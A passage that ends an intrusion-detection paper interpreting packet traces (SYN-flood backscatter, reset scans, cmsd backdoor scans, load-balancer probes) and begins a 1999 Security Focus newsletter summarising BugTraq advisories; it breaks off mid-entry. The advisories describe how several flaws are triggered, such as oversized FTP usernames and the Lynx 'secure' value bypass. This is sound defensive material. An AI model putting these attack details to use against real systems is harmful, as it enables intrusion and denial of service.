This source IP belonged to a commercial web site. While the three
"source" ports, 21 (ftp), 23 (telnet), and 53 (dns) made little sense as true
source ports, they might be good candidates as targets of a SYN flood. Sure
enough, after contacting the web site, the system administrator told me a
hired security consulancy had tested the web server with a denial of service
attack at the exact date and time indicated by my logs. Therefore, it is
likely similar traces with ACK 674719802 are also the result of an attacker
spoofing our IPs to SYN flood a separate victim. I do not believe these
packets are generated to scan the destination IPs (here listed as
spoofed.ip.xxxx).
As with ACK 674711610, I have found many examples of third party
effects of SYN floods, where innocent victims are sending response packets to
spoofed source IPs.
SYN flooded port open:
22:23:08.281683 biology.web.com.23 > spoofed.ip.one.1502:
S 2894258800:2894258800(0) ack 674719802 win 8192 <mss 65512>
22:25:46.030135 biology.web.com.23 > spoofed.ip.one.2154:
S 4154715243:4154715243(0) ack 674719802 win 8192 <mss 152>
22:26:24.456103 biology.web.com.23 > spoofed.ip.one.2026:
S 159261598:159261598(0) ack 674719802 win 8192 <mss 32>
22:29:38.265734 biology.web.com.23 > spoofed.ip.one.1838:
S 1866996756:1866996756(0) ack 674719802 win 8192 <mss 152>
SYN flooded port closed:
22:34:47.629194 van.smack.net.21 > spoofed.ip.two.2031:
R 0:0(0) ack 674719802 win 0
22:36:01.282720 van.smack.net.21 > spoofed.ip.two.1071:
R 0:0(0) ack 674719802 win 0
22:36:11.483963 van.smack.net.21 > spoofed.ip.two.2143:
R 0:0(0) ack 674719802 win 0
At this time I am convinced that packets bearing ACK 674711610 and
674719802 are most likely the third party effects of a SYN flood against an
innocent victim. This has been shown in my experience by contacting the sites
which are the "sources" of these packets, and investigating their associated
network histories.
[ To See or Not to See ]
We mentioned earlier the importance of knowing the internal logic of
a NIDS. We should wonder:
- What does it see?
- What does it not see?
- What prompts it to alert?
- What does it save for future research?
- How long is the data archived?
Keeping these questions in mind, consider the following traffic. I
show two R ACK packets, but dozens of a similar nature were involved. I
select only two to make a point:
11:04:08.179097 irc_host.popular.net.57728 > slab2.concord.net.1524:
R 0:0(0) ack 674719802 win 0 (ttl 52, id 41449)
11:02:54.896930 irc_host.popular.net.2645 > brick9.lowell.net.1524:
R 0:0(0) ack 674719802 win 0 (ttl 48, id 21070)
This is what your NIDS shows you. You may initially be concerned by
the apparent destination port of this activity, 1524 (ingreslock). This
port is associated with a default backdoor installed by an exploit against
the Calendar Manager Service Daemon, rpc.cmsd. Is someone trying to
determine if port 1524 is open on these two hosts?
Thankfully, you are not the average analyst. In addition to relying on
your NIDS, you also run the sniffer Snoop on hosts monitoring the concord.net
and lowell.net networks. They capture a "wide view" of network traffic,
looking at all 65535 TCP and UDP ports, but only storing data for a short time.
Perhaps you use this program to "tune" your IDS to take closer looks at other
ports not monitored by default, like 1524 may be. If you act quickly enough,
perhaps your Snoop data can help explain these strangely targetted RST ACK
packets? (Note it is essential to know how long your data is archived, and in
what format!)
The Snoop engine at concord.net reveals:
irc_host.popular.net -> slab30.concord.net TCP D=2394 S=39232
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab73.concord.net TCP D=1505 S=55500
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab251.concord.net TCP D=1853 S=23199
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab14.concord.net TCP D=2464 S=35067
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab52.concord.net TCP D=1834 S=2834
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab202.concord.net TCP D=1834 S=35735
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab113.concord.net TCP D=1294 S=45368
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab172.concord.net TCP D=2423 S=9196
Rst Ack=674719802 Win=0
irc_host.popular.net -> slab48.concord.net TCP D=1623 S=40104
Rst Ack=674719802 Win=0
Notice the new ports involved! The NIDS only alerted on the connection
to port 1524 at slab2.concord.net, but here we see packets straight from the
wire, with many other ports observed. Take a look at a snapshot of Snoop data
from the NIDS engine watching the lowell.net network:
irc_host.popular.net -> brick91.lowell.net TCP D=1505 S=64196
Rst Ack=674719802 Win=0
router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
irc_host.popular.net -> brick177.lowell.net TCP D=2464 S=17017
Rst Ack=674719802 Win=0
router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
irc_host.popular.net -> brick27.lowell.net TCP D=1223 S=1631
Rst Ack=674719802 Win=0
router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
irc_host.popular.net -> brick145.lowell.net TCP D=1223 S=4875
Rst Ack=674719802 Win=0
irc_host.popular.net -> brick23.lowell.net TCP D=1882 S=6298
Rst Ack=674719802 Win=0
irc_host.popular.net -> brick203.lowell.net TCP D=1882 S=42542
Rst Ack=674719802 Win=0
router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
Again, notice the multitude of source and destination ports listed.
While these ports might not cause the NIDS to alert, they do help describe the
total level of activity on the lowell.net network. So exactly what is happening?
Observe lowell.net is allowing outbound ICMP messages. The four (Bad
host) messages indicate some hosts on lowell.net do not exist, which could
help a malicious scanner use an "inverse mapping" technique to locate existing
hosts. This brings us to the controversial notion of "reset scans." The
purpose of a reset scan is to determine the presence of live hosts on a network.
A technique known as inverse mapping can be used to find live hosts on a network
which allows ICMP through its boundary, as the lowell.net router appears to do.
If an attacker sends a RST ACK packet to a host which does not exist, the
destination networks router should send an ICMP host unreachable message. If
the router is silent, we assume the target host MIGHT exist. Again, this
technique relies on routers passing ICMP. As no ICMP destination unreachable
messages are passed from the concord.net network for packets to nine hosts, it
is likely ICMP messages are not allowed from the boundary concord.net router.
A reset scan of concord.net would not yield nothing but false positive results
to a reconnaissance gatherer. As lowell.net does allow ICMP outbound, a scanner
could attempt to map that network.
Reset scans can not be used to determine if ports are open on target
machines. Why? Both open and closed ports should remain silent if a RST ACK
pacekt is received. While not all vendors may implement this aspect of the RFC
appropriately, most attempts to exploit these differences would be swamped by
the false positive rate. Therefore, it was highly unlikely in the first place
that any malicious scanner would be trying to check port 1524s status using
RST ACK packets. Furthermore, observe the ACK 674719802. This is
representative of the third party SYN flood packets noted earlier. Taking
these factors collectively, it is highly probable these packets are the result
of a malicious Internet user spoofing concord.net and lowell.net IPs to SYN
flood irc_host.popular.net. We are observing the response packets from the
innocent victim.
This case demonstrates the need to understand what your NIDS does and
does not collect. The last example alerted on port 1524, but provided data
for a large portion of unrelated ports. This allowed us to at least
understand the activity was not solely a "probe" for port 1524, and was most
likely third party traffic not directed maliciously against our networks.
How do you interpret the trace below?
07:52:22.761612 cmsd.exploiter.net.1896 > mybox1.domain.net.1524:
S 821595473:821595473(0) win 32428 (DF)
07:52:22.766387 mybox1.domain.net.1524 > cmsd.exploiter.net.1896:
R 0:0(0) ack 821595474 win 0 (DF)
07:52:23.006341 cmsd.exploiter.net.1897 > mybox2.domain.net.1524:
S 822457122:822457122(0) win 32428 (DF)
07:52:23.010838 mybox2.domain.net.1524 > cmsd.exploiter.net.1897:
R 0:0(0) ack 822457123 win 0 (DF)
07:52:23.239994 cmsd.exploiter.net.1898 > mybox3.domain.net.1524:
S 825883544:825883544(0) win 32428 (DF)
07:52:23.243345 mybox3.domain.net.1524 > cmsd.exploiter.net.1898:
R 0:0(0) ack 825883545 win 0 (DF)
07:52:23.487389 cmsd.exploiter.net.1899 > mybox4.domain.net.1524:
S 820436438:820436438(0) win 32428 (DF)
07:52:23.492224 mybox4.domain.net.1524 > cmsd.exploiter.net.1899:
R 0:0(0) ack 820436439 win 0 (DF)
07:52:23.720158 cmsd.exploiter.net.1900 > mybox5.domain.net.1524:
S 826588670:826588670(0) win 32428 (DF)
07:52:23.723228 mybox5.domain.net.1524 > cmsd.exploiter.net.1900:
R 0:0(0) ack 826588671 win 0 (DF)
Yes, thats a straight-forward SYN scan for the cmsd backdoor port.
These scans are in the wild, but not very frequent as of writing this paper.
I included it to display a clear example of someone actively searching for
port 1524, and finding all hosts have it closed.
[ A Final Case ]
I will conclude with a set of interesting traces which initially
stumped me. With the help of my colleagues, and especially Mark Shaw, I
pieced together the following case. Assume all the activity was registered
by a single NIDS monitoring name.server.net.
09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53:
S 2070441966:2070442030(64) win 2048 (ttl 246, id 34960)
09:22:56.960555 tester.newjersey.net.2101 > name.server.net.53:
S 1884680148:1884680212(64) win 2048 (ttl 246, id 8490)
09:22:56.960669 tester.newjersey.net.2102 > name.server.net.53:
S 938156752:938156816(64) win 2048 (ttl 246, id 17966)
09:26:30.485472 tester.newjersey.net.2100 > name.server.net.53:
S 593222604:593222668(64) win 2048 (ttl 246, id 10971)
09:26:30.485586 tester.newjersey.net.2101 > name.server.net.53:
S 171736880:171736944(64) win 2048 (ttl 246, id 6989)
09:26:30.486219 tester.newjersey.net.2102 > name.server.net.53:
S 1199445751:1199445815(64) win 2048 (ttl 246, id 47166)
09:24:13.867591 tester.brazil.net.2100 > name.server.net.53:
S 795939539:795939603(64) win 2048 (ttl 241, id 53652)
09:24:13.868783 tester.brazil.net.2101 > name.server.net.53:
S 2049322111:2049322175(64) win 2048 (ttl 241, id 13883)
09:24:13.873062 tester.brazil.net.2102 > name.server.net.53:
S 1779866028:1779866092(64) win 2048 (ttl 241, id 14298)
09:27:16.429927 tester.brazil.net.2100 > name.server.net.53:
S 931465437:931465501(64) win 2048 (ttl 241, id 31626)
09:27:16.430511 tester.brazil.net.2102 > name.server.net.53:
S 432021209:432021273(64) win 2048 (ttl 241, id 61920)
09:28:04.337763 tester.brazil.net.2600 > name.server.net.53:
S 535782194:535782258(64) win 2048 (ttl 241, id 7673)
09:28:04.339246 tester.brazil.net.2601 > name.server.net.53:
S 1049573717:1049573781(64) win 2048 (ttl 241, id 37399)
09:28:04.339383 tester.brazil.net.2602 > name.server.net.53:
S 148280449:148280513(64) win 2048 (ttl 241, id 25525)
09:23:26.765186 tester.argentina.net.2100 > name.server.net.53:
S 1616673589:1616673653(64) win 2048 (ttl 241, id 21017)
09:23:26.765744 tester.argentina.net.2101 > name.server.net.53:
S 1351385345:1351385409(64) win 2048 (ttl 241, id 9204)
09:23:26.766781 tester.argentina.net.2102 > name.server.net.53:
S 184647009:184647073(64) win 2048 (ttl 241, id 8397)
09:24:26.275614 tester.argentina.net.2100 > name.server.net.53:
S 1577583159:1577583223(64) win 2048 (ttl 241, id 10735)
09:24:26.276245 tester.argentina.net.2101 > name.server.net.53:
S 1874158503:1874158567(64) win 2048 (ttl 241, id 44674)
09:24:26.276922 tester.argentina.net.2102 > name.server.net.53:
S 1571547407:1571547471(64) win 2048 (ttl 241, id 20440)
09:25:42.915131 tester.argentina.net.2100 > name.server.net.53:
S 988147012:988147076(64) win 2048 (ttl 241, id 41923)
09:25:42.915743 tester.argentina.net.2101 > name.server.net.53:
S 819957179:819957243(64) win 2048 (ttl 241, id 40998)
09:25:42.916419 tester.argentina.net.2102 > name.server.net.53:
S 1343568781:1343568845(64) win 2048 (ttl 241, id 22882)
09:28:48.579580 tester.argentina.net.2100 > name.server.net.53:
S 120895333:120895397(64) win 2048 (ttl 241, id 15515)
09:28:48.579698 tester.argentina.net.2101 > name.server.net.53:
S 1822910275:1822910339(64) win 2048 (ttl 241, id 50576)
09:28:48.580506 tester.argentina.net.2102 > name.server.net.53:
S 142062086:142062150(64) win 2048 (ttl 241, id 6874)
Let us apply structured analysis to classify this activity.
- IPs: We see three separate machines -- tester.newjersey.net,
tester.brazil.net, and tester.argentina.net -- attempting to connect to a
single machine, name.server.net. You cannot determine anything more about the
three initiating IPs, but name.server.net (you guessed it) is your name server.
- Ports: On the initiating side, we see a possible pattern. From each
source IP, ports 2100, 2101, and 2102 are used. The tester.brazil.net box
also employs 2600 (greets), 2601, and 2602. All destination ports are 53
(domain name service). Normal DNS traffic typically employs UDP, while zone
transfers are done via TCP. Note BIND versions 8.2 and higher offer name
queries via TCP. This process complicates our analysis and must be saved
for a future paper.
- Flags: Every connection is a single SYN. This would indicate an attempt to
begin the three-way handshake to exchange data, or perhaps start a scan.
- Traffic direction/activity: All traffic is sent from one of the three
hosts to name.server.net. No replies are seen. Each source packet seems to
contain 64 bytes of data. This differs from the very first trace we
presented, showing an exchange between ftp.client.org and ftp.server.org. In
the SYN packet which started that transfer, no data was passed. We can only
guess at the data contained, as it was not saved with the rest of the TCP
packet. For comparisons sake, bbserve the difference in the second line of
each trace:
Case 1: No data in SYN packet:
14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
S 1484414:1484414(0)
Case 2: 64 bytes in SYN packet:
09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53:
S 2070441966:2070442030(64)
- Time: All of the packets are sent between 09:22 and 09:28 on the same day.
This indicates some level of coordination.
- Window size, TTL, and other features: Window size for each packet is 2048
bytes. TTLs for the two South American hosts are smaller than the New
Jersey host, indicating they may have hopped through more routers on their way
to your American-based name.server.net. This is to be expected if each host
sets its initial TTL to the same value, such as 255.
- Bottom line: Why would three hosts all try to connect to one of our name
servers, nearly simultaneously? Could they be responding to an action by one
of our hosts? Is this activity malicious?
After discussing the situation with my colleagues, I formed a theory
and sent emails to the points of contact listed in ARIN information for the
three hosts. One of the three responded and explained the situation. The
three IPs are part of a system which performs "load balancing" and dynamic
redirection to a commercial web site.
When a customer first tries to connect to the web site, he asks his
name server to do a forward DNS lookup to resolve the web URL to an IP
address. The name server providing resolutions for the web URL answers
the customers request, then forwards the IP of the customers name server to
a load balancing "director." This director tells tester.newjersey.net,
tester.brazil.net, and tester.argentina.net to take measurements to decide
which of their three geographically associated web servers is "closest" to the
client.
In this case, closest means "lowest latency," as measured by
server-to-client round trip times (RTTs). Due to network traffic, one of the
web servers can respond faster than its brother web servers. By dynamically
redirecting a web query, the load balancing system can achieve faster service
and better server performance. Furthermore, each caches name server
IPs and periodically revisits them to anticipate future client queries.
The goal of the system is to provide the quickest response time to the web
browsing client while efficiently managing activity on the web server. While
some in the security community view this activity as a malicious attempt to
map the customers network, I see it as a realistic attempt to serve the
hundreds of thousands to millions of customers who visit the more popular
web sites each day.
I found this particular load balancing system begins its tests by
sending ICMP packets. If ICMP is denied by the clients routers or firewalls,
the load balancer then attempts to connect to TCP port 53 on the clients name
server. This explains the packets we are investigating. Since the name server
in our example did not appear to respond, we can assume the load balancing
program did not work out as planned, unfortunately.
What might be the next step? The network engineer responsible for these
load balancers told me a final, more aggressive latency test can be made. Here
the system would essentially scan the clients name server for an open port,
then use the replying SYN ACK packet to test response time. Yes, this would
look exactly like a multiple service port scan! For this reason, the network
engineer said he has disabled this feature. Have you seen activity fitting
this description against your name server?
The final trace is from another load balancing system. It uses a
different packet type to do the job. Rather than SYN packets with 64 bytes of
data, it sends SYN ACKs with no data. This activity was recorded after a
visit to a site which employs the load balancing products. Neither the
client (X) nor the web server (Y) are shown below, but four hosts involved
with load balancing are included. They are:
name1.server.net: DNS for web browsing client X
name2.server.net: DNS for web browsing client X
mayfield.ohio.net: Load balancer 1 for web server Y
greenbelt.maryland.net: Load balancer 2 for web server Y
This is the course of events:
1. Web browsing client X tries to connect to web server Y.
2. The clients TCP/IP suite employs DNS name1.server.net to associate
IP with the name of web server Y.
3. When the DNS serving web server Y is contacted, it passes the
clients IP to mayfield.ohio.net and greenbelt.ohio.net. At this
point the web server and its load balancing system may try to redirect
the web browser to the closest server. This does not have to happen
immediately, but it will most likely happen upon a return visit.
4. At regular intervals following the web browsing visit (and perhaps
during the visit), mayfield.ohio.net and greenbelt.ohio.net try to
contact the clients DNS, which is name1.server.net.
5. At some point another system on client Xs network (or client X
himself) tries to connect to web server Y, but uses name2.server.net.
The same caching of name2.server.nets IP by mayfield.ohio.net and
greenbelt.ohio.net occurs.
6. The traffic below transpires. We see attempts by the two load
balancers to contact the two name servers, measure the round trip time
(RTT), and provide more responsive service to future web visitors on
client Xs network.
Here is the first load balancing server in action:
06:01:15.001304 mayfield.ohio.net.44132 > name1.server.net.53:
S 10399587:10399587(0) ack 10399586 win 4128 <mss 556> (ttl 241, id 0)
06:01:16.999359 mayfield.ohio.net.44132 > name1.server.net.53:
S 10399587:10399587(0) ack 10399586 win 4128 <mss 556> (ttl 241, id 0)
06:01:17.498365 mayfield.ohio.net.44133 > name2.server.net.53:
S 10399588:10399588(0) ack 10399587 win 4128 <mss 556> (ttl 241, id 0)
06:01:18.528689 mayfield.ohio.net.44135 > name1.server.net.53:
S 10399590:10399590(0) ack 10399589 win 4128 <mss 556> (ttl 241, id 0)
06:01:20.524742 mayfield.ohio.net.44135 > name1.server.net.53:
S 10399590:10399590(0) ack 10399589 win 4128 <mss 556> (ttl 241, id 0)
... (thirteen similar packets deleted for clarity)
06:01:58.754918 mayfield.ohio.net.44172 > name2.server.net.53:
S 10399627:10399627(0) ack 10399626 win 4128 <mss 556> (ttl 241, id 0)
Here is the second load balancing server, simultaneously
testing the same two name servers:
06:01:14.967214 greenbelt.maryland.net.63604 > name1.server.net.53:
S 34541003:34541003(0) ack 34541002 win 4128 <mss 556> (ttl 249, id 0)
06:01:17.461642 greenbelt.maryland.net.63607 > name2.server.net.53:
S 34541006:34541006(0) ack 34541005 win 4128 <mss 556> (ttl 249, id 0)
06:01:18.503320 greenbelt.maryland.net.63609 > name1.server.net.53:
S 34541008:34541008(0) ack 34541007 win 4128 <mss 556> (ttl 249, id 0)
06:01:19.464217 greenbelt.maryland.net.63607 > name2.server.net.53:
S 34541006:34541006(0) ack 34541005 win 4128 <mss 556> (ttl 249, id 0)
06:01:20.682888 greenbelt.maryland.net.63615 > name2.server.net.53:
S 34541014:34541014(0) ack 34541013 win 4128 <mss 556> (ttl 249, id 0)
... (seven similar packets deleted for clarity)
06:01:56.995151 greenbelt.maryland.net.63764 > name2.server.net.53:
S 34541163:34541163(0) ack 34541162 win 4128 <mss 556> (ttl 249, id 0)
Note I reconstructed steps one through six earlier based upon my
contacts with vendors and my understanding of load balancing operation.
It is my best interpretation of the network traces, and shows how one can
try to rebuild a puzzle given one or two crucial pieces.
[ Conclusion ]
In this paper, we began with a warning to know and potentially mistrust
your NIDS. We introduced TCPDump, used it to look at a simple exchange of
data via ftp, and discussed SYN floods. Multiple variations of SYN flood
traffic was shown, and the possible use of a "reset scan" was mentioned.
We finished with two more-or-less solved cases. I hope this paper has
encouraged you to take a closer look at your NIDS data, and share what you
find. I look forward to hearing from you.
[ Appendix: Trace Excerpt with Absolute Sequence Numbers Printed]
Relative sequence numbers are usually used, since we are typically
interested in the amount of data passed once the intitial sequence numbers are
established. Plus, listing every full sequence number involves showing many
distracting digits! Nevertheless, I found the following trace useful to
understand whom is ACKing whom. It is a web exchange between a dialup client
and a web server.
11:42:18.407029 dialup.modem.net.1052 > web.server.org.80:
S 382137:382137(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
11:42:18.582348 web.server.org.80 > dialup.modem.net.1052:
S 1616321351:1616321351(0) ack 382138 win 9112 <nop,nop,sackOK,mss 536> (DF)
11:42:18.593124 dialup.modem.net.1052 > web.server.org.80:
. ack 1616321352 win 8576 (DF)
11:42:18.659933 dialup.modem.net.1052 > web.server.org.80:
. 382138:382674(536) ack 1616321352 win 8576 (DF)
11:42:18.664698 dialup.modem.net.1052 > web.server.org.80:
P 382674:382684(10) ack 1616321352 win 8576 (DF)
11:42:18.884944 web.server.org.80 > dialup.modem.net.1052:
. ack 382674 win 9112 (DF)
11:42:18.949336 web.server.org.80 > dialup.modem.net.1052:
. ack 382684 win 9112 (DF)
11:42:19.106286 web.server.org.80 > dialup.modem.net.1052:
P 1616321352:1616321766(414) ack 382684 win 9112 (DF)
11:42:19.232579 dialup.modem.net.1052 > web.server.org.80:
. ack 1616321766 win 8162 (DF)
11:42:19.320803 web.server.org.80 > dialup.modem.net.1052:
P 1616321766:1616321774(8) ack 382684 win 9112 (DF)
11:42:19.359277 web.server.org.80 > dialup.modem.net.1052:
P 1616321774:1616321854(80) ack 382684 win 9112 (DF)
11:42:19.366198 dialup.modem.net.1052 > web.server.org.80:
. ack 1616321854 win 8074 (DF)
Notice one sequence number is used by each side before any data is
passed. web.server.org ACKs 382138 (showing 382137 was "used"), and
dialup.modem.net ACKs 1616321352 (showing 1616321351 was "used").
Knowing these ACK numbers, we know the first byte of data passed from
dialup.modem.net will be 382138, and the first byte passed by
web.server.net will be 1616321352. Sure enough, the fourth packet,
11:42:18.659933 dialup.modem.net.1052 > web.server.org.80:
. 382138:382674(536) ack 1616321352 win 8576 (DF)
and the eighth packet,
11:42:19.106286 web.server.org.80 > dialup.modem.net.1052:
P 1616321352:1616321766(414) ack 382684 win 9112 (DF)
confirm this understanding of sequence numbers. Check the
format again to be sure:
sequence number of first byte in packet:sequence number of first
byte in NEXT packet (data)
Armed with this knowledge, the relative sequence numbers should
make sense as well.
[ References ]
Daemon9, aka Route. "Project Neptune." (Phrack 48, Article 13, 1996)
Irwin, Vicki and Pomeranz, Hal. "Advanced Intrusion Detection and
Packet Filtering." (SANS Network Security 99, 1999)
Newsham, Tim, and Ptacek, Tom. "Insertion, Evasion, and Denial of
Service: Eluding Network Intrusion Detection." (Secure
Networks, Inc., 1998)
Northcutt, Stephen. "Network Intrusion Detection: An Analysts Handbook."
(Indianapolis, Indiana: New Riders, 1999)
Postel, Jon (ed.). "RFC 793: Transmission Control Protocol."
(Defense Advanced Research Projects Agency, 1981)
Stevens, W. Richard. "TCP/IP Illustrated, Volume 1: The Protocols."
(Reading, Massachusetts: Addison-Wesley, 1994)
[ Acknowledgements ]
I would like to thank the following people for reading and commenting
upon this paper, or giving me guidance prior to writing: Chad Renfro, Bamm
Visscher, Mark Shaw, Chuck Port, Cheryl Knecht, Sam Adams, John Green,
Dustin Childs, Judy Novak, and all members of the Intrusion Detection Flight!
@HWA
40.0 Security Focus Newsletter #16
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Security Focus Newsletter #16
Table of Contents:
I. INTRODUCTION
II. BUGTRAQ SUMMARY
1. FormHandler.cgi Reply Attachment Vulnerability
2. E-MailClub Buffer Overflow Vulnerability
3. W4 Server Cgitest.exe Buffer Overflow Vulnerability
4. WebBBS login & password Buffer Overflow Vulnerability
5. Lynx Internal URL "secure" Parameter/Internal Link Verification
Vulnerability
6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability
7. Tektronix PhaserLink Webserver Vulnerability
8. Microsoft Riched20.dll Buffer Overflow Vulnerability
9. Linux syslogd Denial of Service Vulnerability
10. Pine Environment Variable Expansion in URLS Vulnerability
11. Solaris rpc.ttdbserver Denial of Service Vulnerability
12. ProFTPD mod_sqlpw Vulnerability
13. ZetaMail Login DoS Vulnerability
14. HP JetDirect Internal Webserver Long URL DoS Vulnerability
III. PATCH UPDATES
1. Vulnerability Patched: Multiple BIND Vulnerabilities (SCO)
2. Vulnerability Patched: Multiple BIND Vulnerabilities (Debian)
3. Vulnerability Patched: thttpd buffer overflow
4. Vulnerability Patched: Real Server Administrator Port Buffer
Overflow
IV. INCIDENTS SUMMARY
1. Re: Repeated FTP Connections (Thread)
2. Re: New network probe - tcp port 98 (Thread)
3. Class C UDP scans? (Thread)
4. firewall puzzle (Thread)
5. Print servers vulnerable to Trojans? (Thread)
6. Probes for port 930? (Thread)
7. UDP scans on port 31789 a.k.a "Hack'a'tack" (Thread)
8. [INFO] mail.jtausa.com [209.39.1.226] Telnet and FTP Attempts
(Thread)
9. cracker probing 1542 (Thread)
10. cracker probing 1542 (Thread)
11. portmapper scaning [port 111] (Thread)
12. snmpwalk(?) port scanning [port 161] (Thread)
V. VULN-DEV RESEARCH LIST SUMMARY
1. Re: INZIDER! (Thread)
2. potential chage ovf (Thread)
3. Re: [Fwd: Netscape mail client error]
4. Possible DoS attack against Microsoft SQL Server 7.0 (Thread)
5. Re: vlock bug ? (fwd)
6. Re: development of wordpad exploit (Thread)
7. icq accounts (Thread)
8. riched20.dll exploit (Thread)
VI. SECURITY JOBS
Seeking Staff:
1. Account Executive #293 - New York, NY
2. Software Security Consultant #581 - NYC
3. Regional Account Executive #293 - Palo Alto, CA
4. Security Management Applications Product Manager 339
VII. SECURITY SURVEY RESULTS
VIII. SECURITY FOCUS TOP 6 TOOLS
1. SecurityFocus.com Pager (Win95/98/NT)
2. PingSting 1.0 (FreeBSD, Linux and OpenBSD)
3. cgi-check99 v0.4 (Multiple OS's - Run via Rebol)
4. Snoot 1.3.1 (FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, O
penBSD and Solaris)
5. BUGS 2.0.1 (HP-UX, Linux, Solaris, SunOS, UNIX, Windows 2000,
Windows 3.x)
6. NSS Narr0w Security Scanner (any system supporting perl)
IX. SPONSOR INFORMATION - CORE SDI
X. SUBSCRIBE/UNSUBSCRIBE INFORMATION
I. INTRODUCTION
-----------------
Welcome to the Security Focus 'week in review' newsletter issue 16
sponsored by CORE SDI.
http://www.core-sdi.com
II. BUGTRAQ SUMMARY 1999-11-15 to 1999-11-21
---------------------------------------------
1. FormHandler.cgi Reply Attachment Vulnerability
BugTraq ID: 799
Remote: Yes
Date Published: 1999-11-16
Relevant URL:
http://www.securityfocus.com/bid/799
Summary:
Any file that the FormHandler.cgi has read access to (the cgi is typically
run as user 'nobody' on Unix systems) can be specified as an attachment in
a reply email. This could allow an attacker to gain access to sensitive
files such as /etc/passwd simply by modifying the form document.
2. E-MailClub Buffer Overflow Vulnerability
BugTraq ID: 801
Remote: Yes
Date Published: 1999-11-15
Relevant URL:
http://www.securityfocus.com/bid/801
Summary:
Certain versions of EmailClub, a mail server package by Admiral Systems
Inc. are vulnerable to a remote buffer overflow. This overflow is
exploitable via EmailClub's POP3 server which fails to perform proper
bounds checking on the 'From:' header on incoming e-mail.
This overflow will lead to a complete compromise of the Windows 95/98
target machine. It may well also affect Windows NT installations in the
same manner. It is unclear though if EmailClub run with ADMIN privileges
under Windows NT installations.
3. W4 Server Cgitest.exe Buffer Overflow Vulnerability
BugTraq ID: 802
Remote: Yes
Date Published: 1999-11-15
Relevant URL:
http://www.securityfocus.com/bid/802
Summary:
Certain versions of the W4-Server 32-bits personal webserver by Antelope
Software ship with a flawed script, Cgitest.exe. This compiled CGI script
fails to perform bounds checking on user supplied data and is vulnerable
to a buffer overflow.
4. WebBBS login & password Buffer Overflow Vulnerability
BugTraq ID: 803
Remote: Yes
Date Published: 1999-11-15
Relevant URL:
http://www.securityfocus.com/bid/803
Summary:
Certain versions of WebBBS by Mike Bryeans of International
TeleCommunications contain a flaw in the initial login program. User
supplied data via the login name and password are not bounds checked and
can result in a buffer overflow. This leads a compromise of the system
running WebBBS.
5. Lynx Internal URL "secure" Parameter/Internal Link Verification Vulnerability
BugTraq ID: 804
Remote: Yes
Date Published: 1999-11-17
Relevant URL:
http://www.securityfocus.com/bid/804
Summary:
Lynx generally classifies webpages as either internal or external.
Internal webpages are those which are used for such things as
configuration, handling downloaded files, etc. External are webpages that
are normally visited from a web client and are on a webserver somewhere
"external" from the client. To prevent authors of malicious webpages from
compromising the internals of the client, the creators of lynx put a
number of restrictions on what can manipulate the internal URLS. The
first is a hidden form value passed to internally rendered pages, called
"secure". Unfortunately, this value doesn't live up to its name, since it
is based on time(). The next method is verifying whether the pages which
contain internal URLS are allowed to or not. This is done by comparing
the titles of the pages being verified to what they should be (if they
were legal). The section of code which does this naive check is below:
[...]
(!strncmp(links[curdoc.link].lname,
"LYNXDOWNLOAD:", 13) &&
strcmp((curdoc.title ? curdoc.title : ""),
DOWNLOAD_OPTIONS_TITLE)) ||
(!strncmp(links[curdoc.link].lname,
"LYNXHIST:", 9) &&
strcmp((curdoc.title ? curdoc.title : ""),
HISTORY_PAGE_TITLE) &&
[...]
If it is possible for an attacker (locally) to convince a user to enter a
configuration page ('O') in lynx, the "secure" value can be obtained by
calling utime() on the temporary file created in /tmp (which is where lynx
creates temporary html pages). Once the "secure" value is obtained, a
malicious page which is titled appropriately can pass configuration values
as hidden form variables to LYNXOPTIONS://, which will take them gladly
and modify the configuration options of the user (for example, setting
editor to whatever the attacker wants) silently. There is a possibility
that this can be exploited remotely, if the value of "secure" can be
guessed.
More vulnerabilities which are consequently exposed by this problem are
exploitable buffer overflows in handling of some of the configuration
options. Known to lack bounds checking are operations on the buffers
which store (at least temporarily) the values for options: "user agent",
"preferred language", and "preferred charset".
6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability
BugTraq ID: 805
Remote: Yes
Date Published: 1999-11-17
Relevant URL:
http://www.securityfocus.com/bid/805
Summary:
The G6 FTP Server, by Gene6, is vulnerable to a buffer overflow attack. If
2000 characters are sent as the username or password, the software will
use up all available memory and CPU time and bring the host to a halt.
7. Tektronix PhaserLink Webserver Vulnerability
BugTraq ID: 806
Remote: Yes
Date Published: 1999-11-17
Relevant URL:
http://www.securityfocus.com/bid/806
Summary:
Certain versions of the Tektronix PhaserLink printer ship with a webserver
designed to help facilitate configuration of the device. This service is
essentially administrator level access as it can completely modify the
system characteristics, restart the machine, asign services etc.
In at least one version of this printer there are a series of undocumented
URL's which will allow remote users to retrieve the administrator
password. Once the password is obtained by the user, they can manipulate
the printer in any way they see fit.
8. Microsoft Riched20.dll Buffer Overflow Vulnerability
BugTraq ID: 807
Remote: Yes
Date Published: 1999-11-17
Relevant URL:
http://www.securityfocus.com/bid/807
Summary:
Riched20.dll, which Wordpad uses to parse Rich Text Forrmat files, has an
unchecked buffer which allows arbitrary code to be executed. The code can
be put into an .rtf file and emailed to the victim. Then if the victim
opens the document in Wordpad, the code will be run at the same privilege
level as the user.
9. Linux syslogd Denial of Service Vulnerability
BugTraq ID: 809
Remote: No
Date Published: 1999-11-19
Relevant URL:
http://www.securityfocus.com/bid/809
Summary:
Syslogd uses a unix domain stream socket (/dev/log) to recieve system log
messages. Unix domain stream sockets require a connection to be made
between client and server, meaning for each client served a separate
process is created. It is possible to cause a denial of service by opening
